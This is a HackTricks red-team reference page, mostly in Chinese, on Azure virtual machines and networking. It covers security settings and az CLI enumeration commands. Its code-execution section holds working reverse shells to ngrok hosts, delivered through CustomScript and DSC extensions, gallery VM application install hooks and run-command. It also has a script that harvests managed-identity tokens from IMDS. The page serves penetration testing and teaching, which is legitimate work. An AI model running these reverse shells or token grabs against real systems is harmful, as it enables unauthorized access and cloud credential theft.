Az - Virtual Machines & Network

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Azure Networking Basic Info

Azure networks 包含不同的实体和配置方式。 你可以在以下位置找到不同 Azure network 实体的简要描述、 示例枚举命令:

Az - Azure Network

VMs Basic information

Azure Virtual Machines (VMs) 是灵活的、按需的基于云的服务器,可让你运行 Windows 或 Linux operating systems。它们允许你在无需管理物理硬件的情况下部署 applications 和 workloads。Azure VMs 可以配置不同的 CPU、memory 和 storage 选项,以满足特定需求,并与 Azure services(如 virtual networks、storage 和 security tools)集成。

Security Configurations

  • Availability Zones: Availability zones 是 Azure 特定 region 内彼此独立的一组 datacenters,在物理上分离,以尽量降低多个 zone 同时受到本地故障或灾难影响的风险。
  • Security Type:
  • Standard Security: 这是默认的 security type,不需要任何特定配置。
  • Trusted Launch: 这种 security type 通过使用 Secure Boot 和 Virtual Trusted Platform Module (vTPM) 来增强对 boot kits 和 kernel-level malware 的防护。
  • Confidential VMs: 在 trusted launch 之上,它提供 VM、hypervisor 和 host management 之间基于硬件的隔离,改进 disk encryption,并提供more
  • Authentication: 默认会生成新的 SSH key,不过也可以使用 public key 或使用之前的 key,默认 username 是 azureuser。也可以配置为使用 password。
  • VM disk encryption: 默认情况下,disk 在静态存储时使用 platform managed key 加密。
  • 也可以启用 Encryption at host,此时数据会在发送到 storage service 之前先在 host 中加密,从而确保 host 与 storage service 之间的端到端加密(docs)。
  • NIC network security group:
  • None: 基本上打开所有 port
  • Basic: 便于开放 inbound ports HTTP (80)、HTTPS (443)、SSH (22)、RDP (3389)
  • Advanced: 选择一个 security group
  • Backup: 可以启用 Standard backup(每天一次)和 Enhanced(每天多次)
  • Patch orchestration options: 这使得可以根据选定 policy 自动对 VMs 应用 patches,具体如 docs 所述。
  • Alerts: 当 VM 中发生某些事情时,可以自动通过 email 或 mobile app 接收 alerts。默认规则:
  • Percentage CPU is greater than 80%
  • Available Memory Bytes is less than 1GB
  • Data Disks IOPS Consumed Percentage is greater than 95%
  • OS IOPS Consumed Percentage is greater than 95%
  • Network in Total is greater than 500GB
  • Network Out Total is greater than 200GB
  • VmAvailabilityMetric is less than 1
  • Heath monitor: 默认检查 port 80 上的 HTTP protocol
  • Locks: 它允许锁定 VM,使其只能被读取(ReadOnly lock),或者可以读取和更新但不能删除(CanNotDelete lock)。
  • 大多数与 VM 相关的 resources 也支持 locks,例如 disks、snapshots…
  • Locks 也可以应用于 resource group 和 subscription levels

Disks & snapshots

  • 可以启用将一个 disk 连接到 2 个或更多 VMs
  • 默认情况下,每个 disk 都使用 platform key 进行加密
  • snapshots 也是如此
  • 默认情况下,可以从所有 networks 共享该 disk,但也可以限制为仅某些 private access,或者完全禁用 public 和 private access。
  • snapshots 也是如此
  • 可以生成一个 SAS URI(最长 60 天)来导出 disk,并且可以配置为是否需要 authentication
  • snapshots 也是如此
# List all disks
az disk list --output table

# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>

A VM image 是一个包含操作系统、application settings 和 filesystem 的模板,用于 create a new virtual machine (VM)。image 和 disk snapshot 的区别在于,disk snapshot 是单个 managed disk 的只读、point-in-time 副本,主要用于 backup 或 troubleshooting,而 image 可以包含 multiple disks and is designed to serve as a template for creating new VMs
Images 可以在 Azure 的 Images section 中管理,也可以在 Azure compute galleries 中管理,这样可以生成 versionsshare image 跨 tenant,甚至可以将其公开。

A restore point 存储 VM configuration 以及该 VM 附加的所有 managed disks 的 point-in-time application-consistent snapshots。它与 VM 相关,其目的是能够将该 VM 恢复到那个特定时间点的状态。

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shaerd with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

Azure Site Recovery

来自 docs:Site Recovery 通过在 outage 期间保持 business apps 和 workloads 运行,帮助确保业务连续性。Site Recovery 会将运行在 physical 和 virtual machines (VMs) 上的 workloads 从 primary site 复制到 secondary location。当 primary site 发生 outage 时,你可以 fail over 到 secondary location,并从那里访问 apps。等 primary location 恢复运行后,你可以 fail back 到那里。

Azure Bastion

Azure Bastion 通过 Azure Portal 或 jump box,直接为你的 virtual machines (VMs) 提供安全、无缝的 Remote Desktop Protocol (RDP)Secure Shell (SSH) 访问。通过消除 VMs 上对 public IP addresses 的需求

Bastion 会在它需要工作的 VNet 中部署一个名为 AzureBastionSubnet 的 subnet,netmask 为 /26。然后,它允许使用 RDPSSH 通过 browser 连接到 internal VMs,避免将 VMs 的 ports 暴露到 Internet。它也可以作为 jump host 使用。

要列出你 subscription 中所有 Azure Bastion Hosts,并通过它们连接到 VMs,你可以使用以下命令:

# List bastions
az network bastion list -o table

# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa

# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>

Metadata

Azure Instance Metadata Service (IMDS) 提供有关正在运行的 virtual machine 实例的信息,以帮助进行管理和配置。它通过位于不可路由 IP 地址 169.254.169.254 的 REST API 提供 SKU、storage、network 配置以及即将到来的 maintenance 事件等信息,并且只能从 VM 内部访问。VM 与 IMDS 之间的通信始终保留在 host 内,确保安全访问。在查询 IMDS 时,VM 内的 HTTP clients 应绕过 web proxies,以确保正确通信。

此外,访问 metadata endpoint 时,HTTP request 必须包含 Metadata: true header,并且不能包含 X-Forwarded-For header。

当向 metadata endpoint 请求 access token 时,默认情况下,如果存在 system assigned managed identity,metadata service 会使用 system assigned managed identity 来生成 token。如果只有 ONE user assigned managed identity,则默认会使用它。然而,如果没有 system assigned managed identity,并且存在 multiple user assigned managed identities,那么 metadata service 会返回错误,指出存在多个 managed identities,并且需要 specify which one to use

查看如何枚举它:

Cloud SSRF - HackTricks

VM Enumeration

# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>

## List all available VM images and get info about one
az vm image list --all --output table

# VM Extensions
## List all VM extensions
az vm extension image list --output table

## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>

## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>

# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>

# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shared with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

# Bastion
## list all bastions
az network bastion list -o table

# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"

## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table

## List public IPs
az network public-ip list --output table

## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table

## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"

## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>

## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table

## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table

## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table

# Misc
## List all virtual machine scale sets
az vmss list --output table

## List all availability sets
az vm availability-set list --output table

## List all load balancers
az network lb list --output table

## List all storage accounts
az storage account list --output table

## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>

# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>

## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table

# List all available run commands for virtual machines
az vm run-command list --output table

VMs 中的 Code Execution

VM Extensions

Azure VM extensions 是用于在 Azure virtual machines (VMs) 上提供 post-deployment configuration 和 automation 任务的小型 applications。

这将允许在 VMs 内 execute arbitrary code

所需权限是 Microsoft.Compute/virtualMachines/extensions/write

可以使用以下方式列出所有可用的 extensions:

# It takes some mins to run
az vm extension image list --output table

# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

可以 运行执行自定义代码的自定义扩展

  • 执行一个反向 shell
# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
  • 执行位于互联网中的脚本
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'

相关 VM extensions

所需权限仍然是 Microsoft.Compute/virtualMachines/extensions/write

VMAccess extension

这个 extension 允许修改 Windows VMs 内部用户的 password(如果不存在则创建)。

# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)

这是一个属于 Microsoft 的 VM extension,它使用 PowerShell DSC 来管理 Azure Windows VMs 的配置。因此,可以通过这个 extension 在 Windows VMs 中 execute arbitrary commands

# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Hybrid Runbook Worker

这是一个 VM 扩展,允许从 automation account 在 VM 中执行 runbooks。更多信息请查看 Automation Accounts service

VM Applications

这些是包含所有 application data 以及 install 和 uninstall scripts 的 packages,可用于轻松在 VM 中添加和移除 application。

# List all galleries in resource group
az sig list --resource-group <res-group> --output table

# List all apps in a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

这些是应用程序在文件系统中下载到的路径:

  • Linux: /var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>
  • Windows: C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>

查看如何安装新应用程序:https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli

Caution

可以与其他 subscriptions 或 tenants 共享单个 apps 和 galleries。这非常有意思,因为这可能允许攻击者对 application 做 backdoor,并横向转移到其他 subscriptions 和 tenants。

但是,和 extensions 不同,vm apps 没有 “marketplace”

所需权限是:

  • Microsoft.Compute/galleries/applications/write
  • Microsoft.Compute/galleries/applications/versions/write
  • Microsoft.Compute/virtualMachines/write
  • Microsoft.Network/networkInterfaces/join/action
  • Microsoft.Compute/disks/write

执行 arbitrary commands 的 exploitation 示例:

# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true

User data

这是持久化数据,可随时从 metadata endpoint 检索。注意在 Azure 中,user data 与 AWS 和 GCP 不同,因为如果你把脚本放在这里,它默认不会执行

Custom data

可以向 VM 传递一些数据,这些数据会存储在预期路径中:

  • Windows 中,custom data 放在 %SYSTEMDRIVE%\AzureData\CustomData.bin,作为二进制文件存储,并且不会被处理。
  • Linux 中,它曾存储在 /var/lib/waagent/ovf-env.xml,现在存储在 /var/lib/waagent/CustomData/ovf-env.xml
  • Linux agent: 默认不会处理 custom data,需要使用启用了该数据的 custom image
  • cloud-init: 默认会处理 custom data,并且这些数据可能采用 several formats。只要在 custom data 中直接发送脚本,它就可以很容易地执行一个脚本。
  • 我测试过 Ubuntu 和 Debian 都会执行你放在这里的脚本。
  • 要执行它,也不需要启用 user data。
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt

Run Command

这是 Azure 提供的最基本机制,用于在 VM 中执行任意命令。所需权限是 Microsoft.Compute/virtualMachines/runCommand/action

# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh

Azure WireServer & GoalState

Azure VMs 暴露了用于配置、metadata retrieval 和 identity management 的 internal platform endpoints。理解它们之间的区别对于 enumeration、privilege escalation 和 post-exploitation 至关重要。

Wire Server (Azure Fabric Endpoint)

Azure WireServer 是平台用于与 VM 通信的内部 Azure IP (168.63.129.16)。

它负责:

  • VM Agent 通信
  • 下发:
  • GoalState
  • ExtensionsConfig
  • VM internal configuration(包括 identities)
  • DHCP & DNS services
  • health monitoring

GoalState & ExtensionsConfig

GoalState 表示由 Azure 定义的 VM 的 desired configuration。它可能包括:

  • Extensions configuration
  • Managed identities
  • Provisioning state
  • Agent instructions

ExtensionsConfig 包含 VM extensions 的详细配置,可能包括:

  • User Assigned Managed Identities
  • Extension settings
  • Secrets(取决于 extension)

These endpoints are typically accessed via:

curl -H "x-ms-version: 2012-11-30" http://168.63.129.16/machine?comp=goalstate

Access considerations

WireServer IP 一般可以从 VM 内通过 guest network stack 访问。它并不只限于 Azure VM Agent、Run Command 或 VM extensions。Microsoft 甚至文档化了 agentless Linux provisioning 的示例,其中普通的 in-guest scripts 会直接从 168.63.129.16 查询 GoalState。

不过,并不是每个 process 都一定会得到相同的实际结果:

  • 某些 endpoints 需要 Azure-specific headers,例如 GoalState 需要 x-ms-version: 2012-11-30
  • 本地 guest controls 可能会阻止或改变访问,包括 host firewall rules、proxies、routes、network namespaces、containers 或 endpoint protection。
  • VM extensions 和 Run Command 通常会通过 VM Agent 以 root/SYSTEM 执行,因此它们可能绕过影响交互式用户的本地 OS restrictions。
  • 某些 data 是 agent/extension-specific 的,可能取决于 VM 的 provisioning state、installed agent、configured extensions,或 managed identity configuration。

因此,如果一个 request 在 Run Command 中能工作,但在 SSH 中失败,通常的解释是 OS user、environment、routing、proxy、firewall 或 namespace 的差异,而不是一个通用的 Azure 规则,规定只有 agent execution contexts 才能访问 168.63.129.16

在实验室测试中,这种区别是可见的:通过 Run Command 或 Custom Script extensions 的 Linux/Windows VM Agent execution 可以访问 168.63.129.16 上的 GoalState,而另一台 Linux VM 上的普通 SSH session 仍然可以访问 IMDS,但在查询 GoalState 时会超时。应将 WireServer/GoalState 视为有用但依赖环境的机制;不要把它当作枚举 managed identities 的标准方式。

Managed Identity Access From Inside the VM

使用 VM 的 managed identities 的可靠方式是位于 169.254.169.254IMDS managed identity endpoint,而不是 WireServer ExtensionsConfig XML。仅在 ExtensionsConfig 中搜索 UserAssignedIdentity 节点的 scripts 并不可靠,因为:

  • VM 的 managed identity assignment 并不保证会以 UserAssignedIdentity 节点的形式出现在 extension XML 中。
  • 它们会漏掉 system-assigned managed identities
  • 只有当当前 GoalState/extension data 恰好暴露出预期的 XML 结构时,它们才能找到 user-assigned identities。

Microsoft 文档化的 security model 是:运行在 VM 上的所有 code 都可以请求该 VM 上可用的 managed identities 的 token。这一点已从以下场景得到确认:

  • 作为普通 VM user 的 Linux SSH。
  • 通过 VM Agent 的 Linux Run Command。
  • 通过 VM Agent 的 Linux Custom Script extension。
  • NT AUTHORITY\SYSTEM 身份运行的 Windows Custom Script extension。

在这些上下文中,只要 requested identity 对 VM 可用,IMDS 都可以为 Management、Microsoft Graph/Entra ID、Key Vault 和 Storage 生成 token。

这里很容易混淆两个不同的问题:

  • 为已知 identity 获取 token: 如果该 identity 已分配给 VM,IMDS 可以为不同的 audience 签发 token,例如 https://management.azure.com/https://graph.microsoft.com/https://vault.azure.nethttps://storage.azure.com/。如果存在多个 user-assigned identities,可以使用 client_idobject_idmsi_res_id 请求特定 identity。
  • 从 VM 内发现所有已附加的 identity: IMDS 并不提供一个简单的“列出所有 identities” endpoint。一个实用方法是先获取默认的 Management token,通过 ARM 读取 VM resource,然后检查其 identity property。只有当该 managed identity 对 VM 具有诸如 Microsoft.Compute/virtualMachines/read 之类的权限时,这才有效。如果 ARM 返回 403,token 仍然可能是有效且有用的,但它无法枚举该 VM 的完整 identity list。

如果 ARM discovery 失败,你仍然可以尝试 WireServer/HostGAPlugin sources,例如 GoalState 和 http://168.63.129.16:32526/vmSettings,去查找看起来像 identity 的字段(clientIdIdentityClientIdmsi_res_id、user-assigned identity resource IDs),然后用这些 selectors 向 IMDS 请求 token。这只是一个 fallback,不是保证:这些 endpoints 依赖 context,可能完全不暴露任何 managed identity selectors。

下面的示例先请求一个 token。然后它们尝试从 Azure Resource Manager 读取 VM resource,并打印其 identity property。第二步只有在该 managed identity 具有诸如 Microsoft.Compute/virtualMachines/read 之类的 VM 权限时才有效。

#!/usr/bin/env bash
set -euo pipefail

imds="http://169.254.169.254/metadata"
api_version="2021-02-01"
resource="${1:-https://management.azure.com/}"

# Optional. Examples:
#   export MSI_SELECTOR='client_id=<client-id>'
#   export MSI_SELECTOR='object_id=<principal-id>'
#   export MSI_SELECTOR='msi_res_id=/subscriptions/.../userAssignedIdentities/name'
selector="${MSI_SELECTOR:-}"

urlencode() {
python3 -c 'import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1], safe=""))' "$1"
}

token_url="$imds/identity/oauth2/token?api-version=$api_version&resource=$(urlencode "$resource")"
if [[ -n "$selector" ]]; then
token_url="$token_url&$selector"
fi

echo "[*] Requesting managed identity token for: $resource"
token_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$token_url")"

access_token="$(
TOKEN_JSON="$token_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["TOKEN_JSON"])["access_token"])
PY
)"

TOKEN="$access_token" python3 - <<'PY'
import base64, json, os

token = os.environ["TOKEN"]
payload = token.split(".")[1]
payload += "=" * (-len(payload) % 4)
claims = json.loads(base64.urlsafe_b64decode(payload))

print("[+] Token acquired")
for key in ("tid", "appid", "oid", "xms_mirid"):
if key in claims:
print(f"    {key}: {claims[key]}")
PY

echo "[*] Trying to read the VM identity property through ARM..."
compute_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$imds/instance/compute?api-version=$api_version")"
vm_id="$(
COMPUTE_JSON="$compute_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["COMPUTE_JSON"])["resourceId"])
PY
)"

arm_url="https://management.azure.com${vm_id}?api-version=2024-07-01"
if vm_json="$(curl -fsS -H "Authorization: Bearer $access_token" "$arm_url" 2>/dev/null)"; then
VM_JSON="$vm_json" python3 - <<'PY'
import json, os
vm = json.loads(os.environ["VM_JSON"])
print(json.dumps(vm.get("identity", {}), indent=2))
PY
else
echo "[-] Could not read the VM resource with this identity. The token may still be valid, but it lacks ARM read permissions on the VM."
fi

权限提升

Az - Virtual Machines & Network Privesc

未认证访问

Az - VMs Unauth

后渗透

Az - VMs & Network Post Exploitation

持久化

Az - VMs Persistence

References

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks